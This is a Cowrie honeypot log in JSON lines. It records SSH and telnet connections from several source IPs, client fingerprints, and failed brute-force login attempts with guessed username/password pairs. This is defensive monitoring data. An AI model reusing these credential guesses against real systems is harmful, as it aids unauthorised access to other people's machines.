{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":59738,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eef8d445e49","protocol":"ssh","message":"New connection: 198.98.56.227:59738 (10.17.0.5:22) [session: 9eef8d445e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:24.507610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:24.516641Z","src_ip":"198.98.56.227","session":"9eef8d445e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:24.521501Z","src_ip":"198.98.56.227","session":"9eef8d445e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"biadmin","message":"login attempt [root/biadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:24.561557Z","src_ip":"198.98.56.227","session":"9eef8d445e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:25.588761Z","src_ip":"198.98.56.227","session":"9eef8d445e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":51462,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a3180bb3819","protocol":"ssh","message":"New connection: 50.225.176.238:51462 (10.17.0.5:22) [session: 9a3180bb3819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:34.021033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:34.027682Z","src_ip":"50.225.176.238","session":"9a3180bb3819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:34.043365Z","src_ip":"50.225.176.238","session":"9a3180bb3819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"qweasdzxc","message":"login attempt [testtest/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:34.120456Z","src_ip":"50.225.176.238","session":"9a3180bb3819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:35.135559Z","src_ip":"50.225.176.238","session":"9a3180bb3819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":43530,"dst_ip":"10.17.0.5","dst_port":22,"session":"628401eb800a","protocol":"ssh","message":"New connection: 61.155.106.101:43530 (10.17.0.5:22) [session: 628401eb800a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:43.436796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:43.441511Z","src_ip":"61.155.106.101","session":"628401eb800a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:43.688711Z","src_ip":"61.155.106.101","session":"628401eb800a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:45.421378Z","src_ip":"61.155.106.101","session":"628401eb800a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:46.670847Z","src_ip":"61.155.106.101","session":"628401eb800a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10315,"dst_ip":"10.17.0.5","dst_port":22,"session":"a60825c9fc52","protocol":"ssh","message":"New connection: 2.57.121.25:10315 (10.17.0.5:22) [session: a60825c9fc52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:54.616026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:54.620993Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:54.720468Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15021980","message":"login attempt [user/15021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:55.189713Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15011980","message":"login attempt [user/15011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:56.292438Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"141288","message":"login attempt [user/141288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:57.395887Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101980","message":"login attempt [user/14101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:58.498262Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101975","message":"login attempt [user/14101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:59.601472Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:00.704641Z","src_ip":"2.57.121.25","session":"a60825c9fc52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":47900,"dst_ip":"10.17.0.5","dst_port":22,"session":"b60a76b76125","protocol":"ssh","message":"New connection: 198.98.56.227:47900 (10.17.0.5:22) [session: b60a76b76125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:09.137634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:09.147681Z","src_ip":"198.98.56.227","session":"b60a76b76125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:09.153053Z","src_ip":"198.98.56.227","session":"b60a76b76125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:09.190833Z","src_ip":"198.98.56.227","session":"b60a76b76125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:10.199890Z","src_ip":"198.98.56.227","session":"b60a76b76125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fa63c12447a","protocol":"ssh","message":"New connection: 103.15.226.202:41360 (10.17.0.5:22) [session: 3fa63c12447a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:13.067181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:13.071294Z","src_ip":"103.15.226.202","session":"3fa63c12447a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:13.322108Z","src_ip":"103.15.226.202","session":"3fa63c12447a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc$RFV","message":"login attempt [root/3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:14.051739Z","src_ip":"103.15.226.202","session":"3fa63c12447a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:15.297465Z","src_ip":"103.15.226.202","session":"3fa63c12447a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":55702,"dst_ip":"10.17.0.5","dst_port":22,"session":"a74c249274a9","protocol":"ssh","message":"New connection: 50.225.176.238:55702 (10.17.0.5:22) [session: a74c249274a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:25.173718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:25.178884Z","src_ip":"50.225.176.238","session":"a74c249274a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:25.191135Z","src_ip":"50.225.176.238","session":"a74c249274a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"admin123","message":"login attempt [esuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:25.273668Z","src_ip":"50.225.176.238","session":"a74c249274a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53471,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4f0ea69735","protocol":"telnet","message":"New connection: 212.55.149.117:53471 (10.17.0.5:23) [session: 8d4f0ea69735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:25.629158Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:26.289162Z","src_ip":"50.225.176.238","session":"a74c249274a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00257921218872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:46.306921Z","src_ip":"212.55.149.117","session":"0ac39d16ec5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":36064,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b616c837660","protocol":"ssh","message":"New connection: 198.98.56.227:36064 (10.17.0.5:22) [session: 6b616c837660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:58.484042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:58.495344Z","src_ip":"198.98.56.227","session":"6b616c837660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:58.499908Z","src_ip":"198.98.56.227","session":"6b616c837660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"rustserver","message":"login attempt [rustserver/rustserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:58.544193Z","src_ip":"198.98.56.227","session":"6b616c837660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:52:59.556174Z","src_ip":"198.98.56.227","session":"6b616c837660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39619,"dst_ip":"10.17.0.5","dst_port":23,"session":"c005384a4ce2","protocol":"telnet","message":"New connection: 212.55.149.117:39619 (10.17.0.5:23) [session: c005384a4ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:04.830407Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":37580,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa22be3c209","protocol":"ssh","message":"New connection: 50.225.176.238:37580 (10.17.0.5:22) [session: eaa22be3c209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:17.292848Z"}
